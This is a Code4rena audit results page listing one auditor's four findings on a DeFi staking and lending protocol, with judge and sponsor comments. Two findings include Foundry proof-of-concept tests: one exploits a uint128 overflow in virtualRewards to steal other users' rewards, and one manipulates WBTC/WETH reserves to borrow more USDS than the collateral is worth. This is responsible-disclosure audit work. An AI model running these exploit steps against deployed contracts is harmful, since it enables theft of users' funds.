Platform: Code4rena
Start Date: 16/01/2024
Pot Size: $80,000 USDC
Total HM: 37
Participants: 178
Period: 14 days
Judge: Picodes
Total Solo HM: 4
Id: 320
League: ETH
Rank: 35/178
Findings: 4
Award: $403.43
🌟 Selected for report: 0
🚀 Solo Findings: 0
326.1249 USDC - $326.12
When _increaseUserShare()
is called the virtualRewardsToAdd
is calculated like this:
uint256 virtualRewardsToAdd = Math.ceilDiv(totalRewards[poolID] * increaseShareAmount,existingTotalShares); user.virtualRewards += uint128(virtualRewardsToAdd);
virtualRewardsToAdd
is then added to the user.virtualRewards
but it is first casted to uint128. This can be easily overflowed and abused by an attacker.
When a pool is whitelisted, a bit of bootstrapping rewards will likely already be in the pool before any liquidity is supplied. So for example:
virtualRewardsToAdd
will be :100e18 * 700e18 / 200 = 3.5e38 which is bigger than type(uint128).max
This will make the number overflow and only a small amount of virtualRewards will be added to the user. After when other users deposit he will be able to steal their rewards, if this is the xSALT contract then he is even able to steal their deposits.
Incorrect amount of virtualRewards
will be added to the attacker, this will allow him to steal rewards from other users or steal their deposit if its the xSALT contract.
Add this to StakingRewards.t.sol
, as you can see, alice and the attacker should both get the same amount of rewards but because the attackers virtualRewards
were not set, he will be able to steal from alice.
function testAttack() public { uint256 amount = 680564733841876926927;//Amount to make the virtualRewardsToAdd bigger than type(uint128).max address attacker1 = makeAddr("attacker1"); address attacker2 = makeAddr("attacker2"); AddedReward[] memory addedRewards = new AddedReward[](1); addedRewards[0] = AddedReward(poolIDs[0], 100 ether); stakingRewards.addSALTRewards(addedRewards); vm.prank(DEPLOYER); stakingRewards.externalIncreaseUserShare(attacker1,poolIDs[0],200,false); bytes32[] memory claimPools = new bytes32[](1); claimPools[0] = poolIDs[0]; vm.prank(attacker1); stakingRewards.claimAllRewards(claimPools); vm.startPrank(DEPLOYER); stakingRewards.externalIncreaseUserShare(attacker2,poolIDs[0],amount, false); //Alice deposits so that her proportion is 50% stakingRewards.externalIncreaseUserShare(alice,poolIDs[0],680.5 ether,false); vm.stopPrank(); addedRewards[0] = AddedReward(poolIDs[0], 100 ether); stakingRewards.addSALTRewards(addedRewards); vm.prank(DEPLOYER); stakingRewards.externalDecreaseUserShare(attacker2,poolIDs[0],450 ether,false); stakingRewards.addSALTRewards(addedRewards); stakingRewards.externalDecreaseUserShare(attacker2,poolIDs[0],680564733841876926927 - 450 ether,false); //200 SALT is added so they should both receive 100 SALT but the attackers virtualRewards were not set console.log("THE ATTACKERS SALT BALANCE IS:", salt.balanceOf(attacker2)); }
Foundry
The user.virtualRewards
is a uint128 so if virtualRewardsToAdd
is bigger than uint128 then it would overflow so there is no need to cast it to uint128 or virtualRewards can be a uint256.
Under/Overflow
#0 - c4-judge
2024-02-21T16:18:45Z
Picodes marked the issue as satisfactory
🌟 Selected for report: 0xbepresent
Also found by: 00xSEV, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xRobocop, 0xanmol, 0xlemon, 0xpiken, Arz, Audinarey, Auditwolf, Aymen0909, Banditx0x, CaeraDenoir, DanielArmstrong, Draiakoo, HALITUS, Infect3d, J4X, Jorgect, Kalyan-Singh, KingNFT, Krace, PENGUN, Toshii, Udsen, ayden, b0g0, c0pp3rscr3w3r, developerjordy, djxploit, erosjohn, holydevoti0n, iamandreiski, israeladelaja, juancito, klau5, lanrebayode77, memforvik, mussucal, n0kto, novodelta, pkqs90, solmaxis69, stackachu, twcctop, zhaojie, zhaojohnson
0.7809 USDC - $0.78
When a user is liquidated, _decreaseUserShare()
is called and useCooldown is set to true. This can create problems because liquidations need to happen immediately and in case of unpredictable events the cooldown can just prevent users for being liquidated for an hour. This can create more bad debt because the users will not get liquidated until the cooldown expires.
Liquidators will have to wait until the cooldown expires which is currently set to 1 hour. This can create more bad debt and cause more losses to the protocol.
_decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, true );
As you can see in liquidateUser()
, useCooldown is set true which will make the whole transaction revert if the cooldown didnt expire yet.
Manual Review
Liquidations need to happen immediately so consider creating a smaller cooldown just for liquidations so for example 3 minutes(from the last time the user increased their shares)
Other
#0 - c4-judge
2024-01-31T22:40:12Z
Picodes marked the issue as duplicate of #891
#1 - c4-judge
2024-02-21T16:12:34Z
Picodes marked the issue as satisfactory
#2 - c4-judge
2024-02-21T16:13:59Z
Picodes changed the severity to 3 (High Risk)
🌟 Selected for report: Banditx0x
Also found by: Arz, Infect3d, Kalyan-Singh, PENGUN, Toshii, a3yip6, israeladelaja, jasonxiale, linmiaomiao, zhaojohnson
64.8396 USDC - $64.84
Users are able deposit WBTC/WETH liquidity as collateral for borrowing USDS, they are allowed to borrow 50% of their collateral value.
The amount of collateral that the user has deposited is determined by their proportion of the shares and the reserves:
uint256 userWBTC = (reservesWBTC * userCollateralAmount) / totalCollateralShares; uint256 userWETH = (reservesWETH * userCollateralAmount) / totalCollateralShares;
The problem here is that the reserves dont have to be always correctly balanced using the correct market value ratio so this can be abused by an attacker.
Example 1:
Price of 1 WBTC = 10,000 USD price of 1 WETH = 1000 USD
If the attacker is not the first depositor then this attack is still possible:
Example 2:
However, the second attack is only profitable when arbitrage does not happen(because the arbitrage would rebalance the pool after the large swap) but because the SALT pools are built slowly, this attack will still be possible until there is enough liquidity for arbitrage to happen.
The attacker will be able to profit from this and mint a large amount of USDS, this will also create bad debt and the protocol will suffer big loses right after the launch.
I have included a PoC for both examples described above. Add this to CollateralAndLiquidity.t.sol
. As you can see the attacker will be able to profit a lot from this. Flash loans can be used to perform this attack
function testAttack1() public { //WBTC has 8 decimals and is worth 10x more than WETH vm.startPrank( DEPLOYER ); forcedPriceFeed.setBTCPrice( 10000 ether ); forcedPriceFeed.setETHPrice( 1000 ether ); vm.stopPrank(); console.log("USDS BALANCE OF THE ATTACKER BEFORE ATTACK:", usds.balanceOf(alice)); //The attack starts here //The attacker is the first depositor so he sets an incorrect ratio(100 WBTC and 1 WETH) vm.startPrank(alice); collateralAndLiquidity.depositCollateralAndIncreaseShare( 100 * 1e8, 1e18, 0, block.timestamp, false ); //He then borrows the max collateralAndLiquidity.borrowUSDS( collateralAndLiquidity.maxBorrowableUSDS(alice) ); //The attacker then rebalances the reserves to get his WBTC back //30.6 ether is the exact amount he needs to make the reserves 1:10 weth.approve( address(pools), type(uint256).max ); pools.depositSwapWithdraw(weth,wbtc,30.6 ether,0,block.timestamp); uint256 attackersCollateralValue = collateralAndLiquidity.userCollateralValueInUSD(alice) / 1e18; //The amount borrowed is then much bigger than his collateral value console.log("USDS BALANCE OF THE ATTACKER AFTER ATTACK:", usds.balanceOf(alice) / 1e18); console.log("THE PROFIT OF THE ATTACKER IS: %s$", usds.balanceOf(alice) / 1e18 - attackersCollateralValue); } function testAttack2() public { //WBTC has 8 decimals and is worth 10x more than WETH vm.startPrank( DEPLOYER ); forcedPriceFeed.setBTCPrice( 10000 ether ); forcedPriceFeed.setETHPrice( 1000 ether ); vm.stopPrank(); console.log("USDS BALANCE OF THE ATTACKER BEFORE THE ATTACK:", usds.balanceOf(bob)); //Alice deposits liquidity using the correct ratio vm.prank(alice); collateralAndLiquidity.depositCollateralAndIncreaseShare( 1e8, 10 ether, 0, block.timestamp, false ); //The attack starts here, the attacker deposits collateral vm.startPrank(bob); collateralAndLiquidity.depositCollateralAndIncreaseShare( 10 * 1e8, 100 ether, 0, block.timestamp, false ); wbtc.approve( address(pools), type(uint256).max ); weth.approve( address(pools), type(uint256).max ); //He then swaps a big amount, mints and swaps back uint256 amountOut = pools.depositSwapWithdraw(wbtc,weth,40e8,0,block.timestamp); collateralAndLiquidity.borrowUSDS(collateralAndLiquidity.maxBorrowableUSDS(bob)); pools.depositSwapWithdraw(weth,wbtc,amountOut,0,block.timestamp); //Because the attacker swapped back he didnt lose anything from the swap //He only loses his initial deposit but he received much more USDS uint256 attackersCollateralValue = collateralAndLiquidity.userCollateralValueInUSD(bob) / 1e18; console.log("USDS BALANCE OF THE ATTACKER AFTER THE ATTACK:", usds.balanceOf(bob) / 1e18); console.log("THE PROFIT OF THE ATTACKER IS: %s$", usds.balanceOf(bob) / 1e18 - attackersCollateralValue); }
Foundry
I believe this issue will only be present right after the launch before there is enough liquidity in WBTC/WETH and the SALT pools. So one way to mitigate this would be to allow borrowing only after some time and after the pools are built and have liquidity.
Other
#0 - c4-judge
2024-02-02T09:50:58Z
Picodes marked the issue as primary issue
#1 - c4-sponsor
2024-02-12T23:16:56Z
othernet-global (sponsor) disputed
#2 - othernet-global
2024-02-12T23:18:44Z
This is acceptable as the automatic arbitrage mechanic prevents symmetrical swapping in that arbitrage happens after the user's first swap putting the attacker at a disadvantage when they try to restore their original position.
#3 - c4-judge
2024-02-17T18:09:18Z
Picodes marked issue #222 as primary and marked this issue as a duplicate of 222
#4 - c4-judge
2024-02-17T18:09:35Z
Picodes marked the issue as satisfactory
#5 - c4-judge
2024-02-18T17:41:38Z
Picodes changed the severity to 2 (Med Risk)
🌟 Selected for report: juancito
Also found by: 0x3b, 0xBinChook, 0xCiphky, 0xHelium, 0xMango, 0xOmer, 0xRobocop, 0xSmartContractSamurai, 0xWaitress, 0xbepresent, 0xpiken, 7ashraf, Arz, Audinarey, Banditx0x, Bauchibred, Draiakoo, IceBear, J4X, Jorgect, Kaysoft, KingNFT, Rhaydden, Rolezn, The-Seraphs, Tigerfrake, Topmark, Tripathi, Udsen, ZanyBonzy, a3yip6, b0g0, chaduke, codeslide, csanuragjain, dharma09, djxploit, eta, ether_sky, grearlake, inzinko, jasonxiale, jesjupyter, josephdara, lanrebayode77, linmiaomiao, lsaudit, niroh, oakcobalt, peanuts, pina, sivanesh_808, slvDev, t0x1c, vnavascues, wangxx2026
11.6897 USDC - $11.69
SALT is added to the RewardsEmitter for later distribution to the specified whitelisted pools and only 1% per day of the pendingRewards
are transferred to the pools.
When performUpkeep
is called in the RewardsEmitter.sol for the CollateralAndLiquidity, only the whitelisted pools will receive rewards. This will be a problem once the pool gets unwhitelisted and has pendingRewards
that werent distributed yet. SALT will just be stuck in the emitter and there wont be a way to withdraw it
SALT gets stuck in the emitter and it cant be withdrawn by anyone.
100,000 SALT gets allocated to a pool so the pendingRewards = 100,000 SALT
This pool then gets unwhitelisted and 100k SALT was not distributed and is now just stuck in the emitter.
if ( isForCollateralAndLiquidity ) { poolIDs = poolsConfig.whitelistedPools(); }
As you can see in performUpkeep() only whitelisted pools will receive their pending rewards
Manual Review
Add a function in the emitter to withdraw the SALT in cases like this
Other
#0 - c4-judge
2024-02-01T22:38:24Z
Picodes marked the issue as duplicate of #635
#1 - c4-judge
2024-02-21T13:41:34Z
Picodes changed the severity to QA (Quality Assurance)
#2 - c4-judge
2024-02-21T17:01:11Z
Picodes marked the issue as grade-b